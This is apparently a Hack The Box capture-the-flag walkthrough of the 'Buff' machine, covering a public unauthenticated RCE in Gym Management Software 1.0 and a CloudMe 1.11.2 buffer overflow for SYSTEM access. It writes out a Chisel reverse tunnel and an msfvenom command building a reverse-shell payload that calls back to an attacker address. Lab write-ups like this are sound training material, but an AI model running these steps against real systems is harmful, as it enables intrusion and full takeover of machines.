HTB Buff

Enumeration

Only one port of interest is exposed: an Apache web server on 8080.

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: mrb3n's Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6

Services

HTTP 8080

The site runs Gym Management Software 1.0.

That version has a public unauthenticated RCE: exploit-db 48506. It abuses an upload endpoint to drop a web shell and gives command execution as the user running the web server.

Shell

Shell as shaun

Running the exploit lands a shell as buff\shaun.

C:\Users\shaun>whoami
whoami
buff\shaun
 
C:\Users\shaun>whoami /priv
whoami /priv
 
PRIVILEGES INFORMATION
----------------------
 
Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

No useful privileges to abuse directly, so the next step is to hunt for a local privilege-escalation path.

Privilege Escalation

In shaun’s Downloads folder sits the original CloudMe installer:

+---Downloads
|       CloudMe_1112.exe

CloudMe is running locally and listening on 127.0.0.1:8888 — not reachable from outside the box. CloudMe 1.11.2 is vulnerable to a well-known buffer overflow (exploit-db 48389), so the plan is to forward that local port back to Kali and fire the exploit.

1. Tunnel 8888 to Kali with Chisel:

chisel server --port 8081 --reverse            # Kali
 
.\chisel.exe client 10.10.14.41:8081 R:8888:127.0.0.1:8888   # Windows

2. Generate the reverse-shell payload (null, \n and \r are bad chars for this overflow):

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.41 LPORT=4444 -b '\x00\x0A\x0D' -f python -v payload

3. Paste the generated bytes into the payload variable of the exploit, then run it against the forwarded port. CloudMe runs as SYSTEM, so the overflow returns a SYSTEM shell.

Root shell